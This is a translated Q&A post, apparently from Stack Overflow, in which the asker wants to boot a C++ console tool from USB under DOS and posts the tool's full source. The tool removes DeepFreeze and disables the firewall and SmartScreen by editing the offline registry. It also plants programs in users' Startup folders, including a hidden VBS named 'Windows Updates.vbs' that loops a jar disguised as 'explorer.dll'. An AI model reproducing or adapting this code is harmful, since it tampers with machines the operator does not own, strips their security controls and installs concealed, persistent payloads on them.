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我目前在C++中有一個應用程序，它將一些文件複製到用戶的HDD。我在閃存驅動器上使用了Hiren的BootCD來啓動MiniXP並在其下運行我的應用程序，但加載時間有點慢，所以我想在磁盤隨附的DOS映像中添加我的應用程序。我的問題是，該應用程序不會運行，因爲「這個應用程序無法在DOS模式下運行」。編譯現有的C++代碼以在DOS中運行
如何在DOS下運行此應用程序或可能從USB驅動器啓動足夠快的其他任何操作系統？
我的應用程序是一個控制檯應用程序，它的代碼是：
#include <iostream>
#include <fstream>
#include <windows.h>
#include <string.h>
#include <sys/stat.h>
#include <stdio.h>
#include <io.h>
#define MAX 256
using namespace std;
string systemdrive;
string users[MAX];int userscontor=0;
bool choosew7orxp;
void menu();
bool exists(const std::string& dirName_in)
{
DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
if (ftyp == INVALID_FILE_ATTRIBUTES)
return false; //something is wrong with your path!
if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
return true; // this is a directory!
return false; // this is not a directory!
}
bool fileexists (const std::string& name) {
struct stat buffer;
return (stat (name.c_str(), &buffer) == 0);
}
void checkdrive(char drive[])
{
string s(drive);
s+="Windows";
if (exists(s))
{
systemdrive = string(drive);
}
}
void list()
{
int dr_type=99;
char dr_avail[MAX];
char *temp=dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX,dr_avail);
while(*temp!=NULL) { // Split the buffer by null
dr_type=GetDriveType(temp);
switch(dr_type) {
case 3: // Fixed
checkdrive(temp);
break;
}
temp += lstrlen(temp) +1; // incriment the buffer
}
}
void copyfiles(string a1,string a2)
{
system((char*)(string("copy /V \""+a1+"\" \""+a2+"\"").c_str()));
}
void redeepfreeze()
{
system("cls");
if (!fileexists(systemdrive+"DeepFrz.backup"))
{
cout << "> Backup does not exist!\n";
Sleep(1000);
menu();
}
else
{
cout <<"> Found Backup.\n";
cout <<"> Restoring backup.\n";
string f = systemdrive;
f+="Windows\\System32\\drivers\\DeepFrz.sys";
if(remove(f.c_str()) !=0)
{
cout << "> Cannot delete file! Aborting.\n";
Sleep(1000);
menu();
}
copyfiles(systemdrive+"DeepFrz.backup",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
cout <<"> Backup restored under \"DeepFrz.sys\"\n";
Sleep(1000);
menu();
}
}
void disablefirewall()
{
system("cls");
cout <<"> Loading registery from windows machine...\n";
// cout << "reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\System";
system((char*)(string("reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\SYSTEM").c_str()));
cout <<"> Registery loaded, disabling Firewall :3\n";
for (int i=0;i<=9;i++)
{
char buff[33];
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
}
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
cout <<"> Operation completed,saving..\n";
system("reg unload HKLM\\OLD_SYSTEM");
cout <<"> Done.\n";
Sleep(1000);
menu();
}
void disablesmartscreen()
{
system("cls");
cout <<"> Loading registery from windows machine...\n";
system((char*)(string("reg load HKLM\\OLD_SOFTWARE "+systemdrive+"Windows\\System32\\Config\\Software").c_str()));
cout <<"> Registery loaded, disabling SmartScreen :3\n";
// cout <<"reg add \"HKLM\\OLD_SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f";
// system("pause");
system((char*)(string("reg add \"HKLM\\OLD_SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f").c_str()));
cout <<"> Operation completed,saving..\n";
system("reg unload HKLM\\OLD_SOFTWARE");
cout <<"> Done.\n";
Sleep(1000);
menu();
}
//}
void deldeepfreeze()
{
system("cls");
if (!fileexists(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys"))
{
cout << "> Deepfreeze does not exist!\n";
Sleep(1000);
menu();
}
else
{
cout <<"> Found DeepFreeze.\n";
cout <<"> Creating backup.\n";
// copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.backup");
copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"DeepFrz.backup");
cout <<"> Attempting to unfreeze part one...\n";
string f = systemdrive;
f+="Windows\\System32\\drivers\\DeepFrz.sys";
if(remove(f.c_str()) !=0)
{
cout << "> Cannot delete file! Aborting.\n";
Sleep(1000);
menu();
}
cout <<"> Backup crated under \"DeepFrz.backup\"\n";
cout <<"> Searching for \"ntfs.sys\"...\n";
if (!fileexists(systemdrive+"Windows\\System32\\drivers\\ntfs.sys"))
{
cout <<" > ERROR. Cannot find ntfs.sys! Aborting.\n";
Sleep(1000);
menu();
}
else
{
cout << "> Patching ntfs.sys...\n";
copyfiles(systemdrive+"Windows\\System32\\drivers\\ntfs.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
cout << "> Patching DONE. Computer unfrozen!\n";
Sleep(1000);
menu();
}
}
}
void list(char* dir,string users[],int &unr)
{
int con=0;
char originalDirectory[_MAX_PATH];
// Get the current directory so we can return to it
_getcwd(originalDirectory, _MAX_PATH);
_chdir(dir); // Change to the working directory
_finddata_t fileinfo;
// This will grab the first file in the directory
// "*" can be changed if you only want to look for specific files
intptr_t handle = _findfirst("*", &fileinfo);
if(handle == -1) // No files or directories found
{
cout <<"> No users found.\n";
return;
}
do
{
if(strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0)
continue;
if(fileinfo.attrib & _A_SUBDIR) // Use bitmask to see if this is a directory
{
users[con]=fileinfo.name;
con++;
}
// else
// cout << "This is a file." << endl;
} while(_findnext(handle, &fileinfo) == 0);
_findclose(handle); // Close the stream
_chdir(originalDirectory);
unr=con;
}
void installapp(char* app)
{
system("cls");
if (!fileexists(app))
{
cout << "> "<<app<<" does not exist!\n";
Sleep(1000);
menu();
}
else
{
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Start Menu\\Programs\\Startup";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
}
}
void masseject_fix()
{
system("cls");
char letter;
cout <<"> What is your default CD letter?\n";
cin >> letter;
letter=toupper(letter);
cout <<"> Selected drive: \""<<letter<<":\\\".\n";
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";
fstream fout((dest+"\\massdrive.txt").c_str(),ios::out);
fout<<" "<<letter;
fout.close();
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";
cout <<"> Done!\n";
Sleep(1000);
}
}
void installAppdata(char* app)
{
if (!fileexists(app))
{
cout << "> "<<app<<" does not exist!\n";
Sleep(1000);
menu();
}
else
{
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
}
}
void installKirLoga()
{
fstream temp("Windows Updates.vbs",ios::out);
temp << "CreateObject(\"Wscript.Shell\").Run \"\"\"\" & \"%appdata%/xfrps.bat\" & \"\"\"\", 0, False";
temp.close();
installapp("Windows Updates.vbs");
fstream temp2("xfrps.bat",ios::out);
temp2 << ":loop\r\ndel \"%APPDATA%\\KirLoga.jar\"\r\nCOPY \"%APPDATA%\\explorer.dll_update\" \"%APPDATA%\\explorer.dll\"\r\njava -jar \"%APPDATA%\\explorer.dll\" 1\r\ngoto loop";
temp2.close();
installAppdata("xfrps.bat");
installAppdata("explorer.dll_update");
menu();
}
void install_custom()
{
system("cls");
char ch[MAX];
cout <<"> Enter app name: ";
cin >>ch;
installapp(ch);
menu();
}
void menu()
{
int choose;
system("cls");
cout <<"> This is the main menu. Please choose an option.\n";
cout <<"> 1. Delete DeepFreeze\n";
cout <<"> 2. Reinstall DeepFreeze\n";
cout <<"> 3. Install MassEject\n";
cout <<"> 4. Configure MassEject\n";
cout <<"> 5. Install other app to Startup\n";
cout <<"> 6. Disable SmartScren\n";
cout <<"> 7. Disable Firewall\n";
cout <<"> 8. Quickie (Administrator, E:\\) <not updated>\n";
cout <<"> 9. Install KirLoga <only starts after reboot>\n";
cin.get();
cin >> choose;
if (choose==1)
{
deldeepfreeze();
}
else if (choose==2)
{
redeepfreeze();
}
else if (choose==3)
{
installapp("MassEject.jar");
menu();
}else if (choose==4)
{
masseject_fix();
}else if (choose==5)
{
install_custom();
}else if (choose==6)
{
disablesmartscreen();
}
else if (choose==7)
{
disablefirewall();
}
else if (choose==8)
{
//TODO
}
else if (choose==9)
{
installKirLoga();
}
}
void choose_os()
{
system("cls");
cout << "> Are you running on Windows 7 or 8.x? <A/B>"<<'\n';
char choice;
cin >> choice;
switch(choice)
{
case 'a': choosew7orxp=true;break;
case 'A': choosew7orxp=true;break;
case 'b': choosew7orxp=false;break;
case 'B': choosew7orxp=false;break;
default: cout << "> No, that's not how you do it..."; Sleep(1000);choose_os();break;
}
system("cls");
}
int main()
{
system("cls");
cout << "> Welcome to Kiraly's pack utility.\n";
cout << "> Scanning system drives...\n";
list();
cout << "> System drive identified: "<<systemdrive<<", is this correct? (Y/N) ";
char cdr;
cin >> cdr;
while (cdr!='Y'&&cdr!='y'&&cdr!='N'&&cdr!='n')
{
cout << "Incorrect syntax. Please re-enter. ";
cin >> cdr;
}
if (cdr=='n'||cdr=='N')
{
cout << "> Please enter the drive letter ONLY. Example: \"C\" not \"C:\\\" ";
char drlet;
cin >> drlet;
if ((int)drlet>=97)
{
drlet-=32;
}
systemdrive="";systemdrive+=drlet;systemdrive+=":\\";
cout <<"> The system drive letter has been set to: "<<systemdrive<<"\n";
}
// Sleep(1000);
system(systemdrive.substr(0,2).c_str());
choose_os();
menu();
}
這裏有幾個問題。請注意，許多Linux發行版（例如Debian）可以配置爲不能很早啓動Xorg服務器並運行登錄shell。 –
我添加了linux問題，因爲這可能是一個替代方案，但最可取的方法是在DOS環境下運行該應用程序 – KiralyCraft
您是否考慮啓動[freedos]（http://www.freedos.org/）？順便說一句，你的問題很混亂。請修改您的問題以改進它。一次只詢問一個問題。 StackOverflow適用於與某些源代碼相關的問題，但您在問題中未顯示任何源代碼。 –